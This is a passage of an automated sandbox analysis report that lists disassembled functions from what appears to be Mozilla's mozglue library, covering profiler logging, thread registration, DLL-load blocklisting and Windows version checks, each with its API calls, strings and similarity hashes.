Part of subcall function 6C90AB3F: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D3527,6C95F6CC,?,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90AB7C

GetCurrentThreadId.KERNEL32 ref: 6C8E485F
GetCurrentThreadId.KERNEL32 ref: 6C8E487E
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C8E488B
free.MOZGLUE(?), ref: 6C8E493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8E4956
free.MOZGLUE(00000000), ref: 6C8E4960
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C8E499A

Part of subcall function 6C90AB89: EnterCriticalSection.KERNEL32(6C95E370,?,?,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284), ref: 6C90AB94
Part of subcall function 6C90AB89: LeaveCriticalSection.KERNEL32(6C95E370,?,6C8D34DE,6C95F6CC,?,?,?,?,?,?,?,6C8D3284,?,?,6C8F56F6), ref: 6C90ABD1

free.MOZGLUE(?), ref: 6C8E49C6
free.MOZGLUE(?), ref: 6C8E49E9

Part of subcall function 6C8F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8F5EDB
Part of subcall function 6C8F5E90: memset.VCRUNTIME140(6C937765,000000E5,55CCCCCC), ref: 6C8F5F27
Part of subcall function 6C8F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8F5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C8E4812
[I %d/%d] profiler_shutdown, xrefs: 6C8E4A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C8E47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C8E4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C8E4A42

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: b1b369fcf096023ff137059a93edb92ab50bbe808e04ebe0666d5ff62eccca20
Instruction ID: 6fe41bc79ae3faca9d77427681b14c71ec22266a13210c7f5030501f85828ba0
Opcode Fuzzy Hash: b1b369fcf096023ff137059a93edb92ab50bbe808e04ebe0666d5ff62eccca20
Instruction Fuzzy Hash: 9C811A71A041108FDB20DFA8CA8475A3775AFCB32CFA40A39D91A97F41D731E854CB96

Function 6C8E19A0 Relevance: 45.9, APIs: 24, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C95F760), ref: 6C8E19BD
GetCurrentProcess.KERNEL32 ref: 6C8E19E5
GetLastError.KERNEL32 ref: 6C8E1A27
moz_xmalloc.MOZGLUE(?), ref: 6C8E1A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8E1A4F
GetLastError.KERNEL32 ref: 6C8E1A92
moz_xmalloc.MOZGLUE(?), ref: 6C8E1AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8E1ABA
LocalFree.KERNEL32(?), ref: 6C8E1C69
free.MOZGLUE(?), ref: 6C8E1C8F
free.MOZGLUE(?), ref: 6C8E1C9D
CloseHandle.KERNEL32(?), ref: 6C8E1CAE
ReleaseSRWLockExclusive.KERNEL32(6C95F760), ref: 6C8E1D52
GetLastError.KERNEL32 ref: 6C8E1DA5
GetLastError.KERNEL32 ref: 6C8E1DFB
GetLastError.KERNEL32 ref: 6C8E1E49
GetLastError.KERNEL32 ref: 6C8E1E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8E1E9B

Part of subcall function 6C8E2070: LoadLibraryW.KERNEL32(combase.dll,6C8E1C5F), ref: 6C8E20AE
Part of subcall function 6C8E2070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C8E20CD
Part of subcall function 6C8E2070: __Init_thread_footer.LIBCMT ref: 6C8E20E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8E1F15
VerSetConditionMask.NTDLL ref: 6C8E1F46
VerSetConditionMask.NTDLL ref: 6C8E1F52
VerSetConditionMask.NTDLL ref: 6C8E1F59
VerSetConditionMask.NTDLL ref: 6C8E1F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8E1F6D

Strings

KpT{/, xrefs: 6C8E19AE
D, xrefs: 6C8E1B57

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D$KpT{/
API String ID: 290179723-4188412920
Opcode ID: 9c86a6e2e6dd7406cbc08174a28f749a88799f578d08e8600dd060c8547723db
Instruction ID: 2987888475503204b1fe23f1c4c8d2f1d238a70633e693bf8e7ea688e8a2140c
Opcode Fuzzy Hash: 9c86a6e2e6dd7406cbc08174a28f749a88799f578d08e8600dd060c8547723db
Instruction Fuzzy Hash: 18F1A071A04325AFEB209F64CD88BAAB7B8FF4A704F214598E905E7641D774DD84CFA0

Function 6C8E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C8E44B2,6C95E21C,6C95F7F8), ref: 6C8E473E
Part of subcall function 6C8E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C8E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C8E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C8E44D2
InitOnceExecuteOnce.KERNEL32(6C95F80C,6C8DF240,?,?), ref: 6C8E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C8E455C
LoadLibraryW.KERNEL32(?), ref: 6C8E4592
InitializeCriticalSection.KERNEL32(6C95F770), ref: 6C8E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C8E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C8E45BB
InitOnceExecuteOnce.KERNEL32(6C95F818,6C8DF240,?,?), ref: 6C8E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C8E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C8E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C8E466D
VerSetConditionMask.NTDLL ref: 6C8E469F
VerSetConditionMask.NTDLL ref: 6C8E46AB
VerSetConditionMask.NTDLL ref: 6C8E46B2
VerSetConditionMask.NTDLL ref: 6C8E46B9
VerSetConditionMask.NTDLL ref: 6C8E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C8E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C8E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C8E46FD

Strings

KpT{/, xrefs: 6C8E447C
WRusr.dll, xrefs: 6C8E44B5
user32.dll, xrefs: 6C8E4557, 6C8E463F
NativeNtBlockSet_Write, xrefs: 6C8E46F7
l, xrefs: 6C8E4578
kernel32.dll, xrefs: 6C8E44CD

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: KpT{/$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2524705985
Opcode ID: c781d44e082191632cbb9adcae33b61dc59d433a4357adbc30ee522629d4cee5
Instruction ID: fd4a24cdef0283792691efefce84830d6efe6693713a28ddb93c6e5348b2c5a4
Opcode Fuzzy Hash: c781d44e082191632cbb9adcae33b61dc59d433a4357adbc30ee522629d4cee5
Instruction Fuzzy Hash: DD6116B0608348AFEB20DFA0CD05B957BB8EBCB71CFA48998E5099B641D371C954CF90

Function 6C8FBB80 Relevance: 38.9, APIs: 17, Strings: 5, Instructions: 388stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140(00000000,0000002E), ref: 6C8FBC5A
strchr.VCRUNTIME140(00000001,0000002E), ref: 6C8FBC6E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(accelerator.dll,?), ref: 6C8FBC9E
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8FBE33
VerSetConditionMask.NTDLL ref: 6C8FBE65
VerSetConditionMask.NTDLL ref: 6C8FBE71
VerSetConditionMask.NTDLL ref: 6C8FBE7D
VerSetConditionMask.NTDLL ref: 6C8FBE89
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8FBE97
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8FBEE4
VerSetConditionMask.NTDLL ref: 6C8FBF15
VerSetConditionMask.NTDLL ref: 6C8FBF21
VerSetConditionMask.NTDLL ref: 6C8FBF2D
VerSetConditionMask.NTDLL ref: 6C8FBF39
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8FBF47

Part of subcall function 6C93AAE0: GetCurrentThreadId.KERNEL32 ref: 6C93AAF8
Part of subcall function 6C93AAE0: EnterCriticalSection.KERNEL32(6C95F770,?,6C8FBF9F), ref: 6C93AB08
Part of subcall function 6C93AAE0: LeaveCriticalSection.KERNEL32(6C95F770,?,?,?,?,?,?,?,?,6C8FBF9F), ref: 6C93AB6B

free.MOZGLUE(00000000), ref: 6C8FBFF0
_strtoui64.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000010), ref: 6C8FC014

Part of subcall function 6C93AC20: CreateFileW.KERNEL32 ref: 6C93AC52
Part of subcall function 6C93AC20: CreateFileMappingW.KERNEL32 ref: 6C93AC7D
Part of subcall function 6C93AC20: GetSystemInfo.KERNEL32 ref: 6C93AC98
Part of subcall function 6C93AC20: MapViewOfFile.KERNEL32 ref: 6C93ACB0
Part of subcall function 6C93AC20: GetSystemInfo.KERNEL32 ref: 6C93ACCD
Part of subcall function 6C93AC20: MapViewOfFile.KERNEL32 ref: 6C93AD05
Part of subcall function 6C93AC20: UnmapViewOfFile.KERNEL32 ref: 6C93AD1C
Part of subcall function 6C93AC20: CloseHandle.KERNEL32 ref: 6C93AD28
Part of subcall function 6C93AC20: UnmapViewOfFile.KERNEL32 ref: 6C93AD37
Part of subcall function 6C93AC20: CloseHandle.KERNEL32 ref: 6C93AD43

Part of subcall function 6C93AE70: GetCurrentThreadId.KERNEL32 ref: 6C93AE85
Part of subcall function 6C93AE70: EnterCriticalSection.KERNEL32(6C95F770,?,6C8FC034), ref: 6C93AE96
Part of subcall function 6C93AE70: LeaveCriticalSection.KERNEL32(6C95F770,?,?,?,?,6C8FC034), ref: 6C93AEBD

Strings

KpT{/, xrefs: 6C8FBB92
LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag, xrefs: 6C8FBF5B
accelerator.dll, xrefs: 6C8FBC8E, 6C8FBC9D
LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/, xrefs: 6C8FBDDD
LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?), xrefs: 6C8FBFCF

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ConditionMask$File$CriticalInfoSectionView$CloseCreateCurrentEnterHandleLeaveSystemThreadUnmapVerifyVersionmemsetstrchr$Mapping_strtoui64freestrcmp
String ID: KpT{/$LdrLoadDll: Blocking load of '%s' (SearchPathW didn't find it?)$LdrLoadDll: Blocking load of '%s' -- see http://www.mozilla.com/en-US/blocklist/$LdrLoadDll: Ignoring the REDIRECT_TO_NOOP_ENTRYPOINT flag$accelerator.dll
API String ID: 3889411031-26979116
Opcode ID: d93a36fdbd8799f49afed704b3baa0c20ff8161327d64681a97c68775a0d6bb6
Instruction ID: 0cd3965f06ca572d487e8aeef910e325d8506b4b4c27db8551319b76da00fcc2
Opcode Fuzzy Hash: d93a36fdbd8799f49afed704b3baa0c20ff8161327d64681a97c68775a0d6bb6
Instruction Fuzzy Hash: DDE13770A083049BEB20DB24C980BBAB7F5EF95348F548D1DE89587780DB74E94AC792

Function 6C91E8B0 Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C917090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C91B9F1,?), ref: 6C917107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C91DCF5), ref: 6C91E92D
GetCurrentThreadId.KERNEL32 ref: 6C91EA4F
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EA5C
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EA80
GetCurrentThreadId.KERNEL32 ref: 6C91EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C91DCF5), ref: 6C91EA92
GetCurrentThreadId.KERNEL32 ref: 6C91EB11
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C91EB3C
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91EB5B

Part of subcall function 6C915710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C91EB71), ref: 6C9157AB

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C91EBAC

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

GetCurrentThreadId.KERNEL32 ref: 6C91EBC1
AcquireSRWLockExclusive.KERNEL32(6C95F4B8,?,?,00000000), ref: 6C91EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C91EBE5
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8,00000000), ref: 6C91EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C91EC46
CloseHandle.KERNEL32(?), ref: 6C91EC55
free.MOZGLUE(00000000), ref: 6C91EC5C

Strings

KpT{/, xrefs: 6C91E8BE
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C91EA9B
[I %d/%d] profiler_start, xrefs: 6C91EBB4

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: KpT{/$[I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-4167579781
Opcode ID: df5c6b1331864ca7d7ce2a60ddf7a208993ecb1d6ae0d905397e12bcd59285ff
Instruction ID: 1ba433ec9cba28bf66967941078e20ad89a50c29117c48082579a2a1fdcc6e58
Opcode Fuzzy Hash: df5c6b1331864ca7d7ce2a60ddf7a208993ecb1d6ae0d905397e12bcd59285ff
Instruction Fuzzy Hash: D9A105717086089FDB009F28C849BAA77F5FF9632CFA44029E91A87F41DB71D815CBA1

Function 6C91F6E0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C91F8F9

Part of subcall function 6C8E6390: GetCurrentThreadId.KERNEL32 ref: 6C8E63D0
Part of subcall function 6C8E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C8E63DF
Part of subcall function 6C8E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C8E640E

ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F93A
GetCurrentThreadId.KERNEL32 ref: 6C91F98A
GetCurrentThreadId.KERNEL32 ref: 6C91F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C91F716

Part of subcall function 6C9194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9194EE
Part of subcall function 6C9194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C919508

Part of subcall function 6C8DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C8DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C91F739
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91F746
GetCurrentThreadId.KERNEL32 ref: 6C91F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C95385B,00000002,?,?,?,?,?), ref: 6C91F829
free.MOZGLUE(?,?,00000000,?), ref: 6C91F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C91F866
free.MOZGLUE(?), ref: 6C91FA0C

Part of subcall function 6C8E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C8E55E1), ref: 6C8E5E8C
Part of subcall function 6C8E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8E5E9D
Part of subcall function 6C8E5E60: GetCurrentThreadId.KERNEL32 ref: 6C8E5EAB
Part of subcall function 6C8E5E60: GetCurrentThreadId.KERNEL32 ref: 6C8E5EB8
Part of subcall function 6C8E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8E5ECF
Part of subcall function 6C8E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C8E5F27
Part of subcall function 6C8E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C8E5F47
Part of subcall function 6C8E5E60: GetCurrentProcess.KERNEL32 ref: 6C8E5F53
Part of subcall function 6C8E5E60: GetCurrentThread.KERNEL32 ref: 6C8E5F5C
Part of subcall function 6C8E5E60: GetCurrentProcess.KERNEL32 ref: 6C8E5F66
Part of subcall function 6C8E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C8E5F7E

free.MOZGLUE(?), ref: 6C91F9C5
free.MOZGLUE(?), ref: 6C91F9DA

Strings

KpT{/, xrefs: 6C91F6F2
[D %d/%d] profiler_register_thread(%s), xrefs: 6C91F71F
Thread , xrefs: 6C91F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C91F9A6
" attempted to re-register as ", xrefs: 6C91F858

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$KpT{/$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1159114598
Opcode ID: 563b061dca45c0e0a0ad1d4bb90cfb873217c913ef78ae719ad75bcf94b3d6cf
Instruction ID: 509053b7077dcfac7cea80dce3baf98597a50bd494f043c69d606586ad7dcdf4
Opcode Fuzzy Hash: 563b061dca45c0e0a0ad1d4bb90cfb873217c913ef78ae719ad75bcf94b3d6cf
Instruction Fuzzy Hash: 978117716083089FDB10DF28C441AAAB7B5FFD530CF95496DE84997B51EB30E849CB92

Function 6C8E4180 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C8E4196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C8E41F1
VerSetConditionMask.NTDLL ref: 6C8E4223
VerSetConditionMask.NTDLL ref: 6C8E422A
VerSetConditionMask.NTDLL ref: 6C8E4231
VerSetConditionMask.NTDLL ref: 6C8E4238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8E4245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6C8E4263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6C8E427A
FreeLibrary.KERNEL32(?), ref: 6C8E4299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C8E42C4
VerSetConditionMask.NTDLL ref: 6C8E42F6
VerSetConditionMask.NTDLL ref: 6C8E4302
VerSetConditionMask.NTDLL ref: 6C8E4309
VerSetConditionMask.NTDLL ref: 6C8E4310
VerSetConditionMask.NTDLL ref: 6C8E4317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C8E4324

Strings

KpT{/, xrefs: 6C8E418C
Shcore.dll, xrefs: 6C8E425E
SetProcessDpiAwareness, xrefs: 6C8E4274

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: KpT{/$SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-1948008301
Opcode ID: 248d56cfbc8aab5229b23ee9a88d95353e88e2f10187e5bcf3398d0715c1f18c
Instruction ID: 853fb3ff8974d8188f41411abfa0eb80feb597082cf21f2a1dc8c297305defed
Opcode Fuzzy Hash: 248d56cfbc8aab5229b23ee9a88d95353e88e2f10187e5bcf3398d0715c1f18c
Instruction Fuzzy Hash: 9651D371A08214ABFB206BA48D48FBA7778DFCA754F514918F909976C0CB74D954CA90

Function 6C91EE40 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C8E4A68), ref: 6C91945E
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C919470
Part of subcall function 6C919420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C919482
Part of subcall function 6C919420: __Init_thread_footer.LIBCMT ref: 6C91949F

GetCurrentThreadId.KERNEL32 ref: 6C91EE60
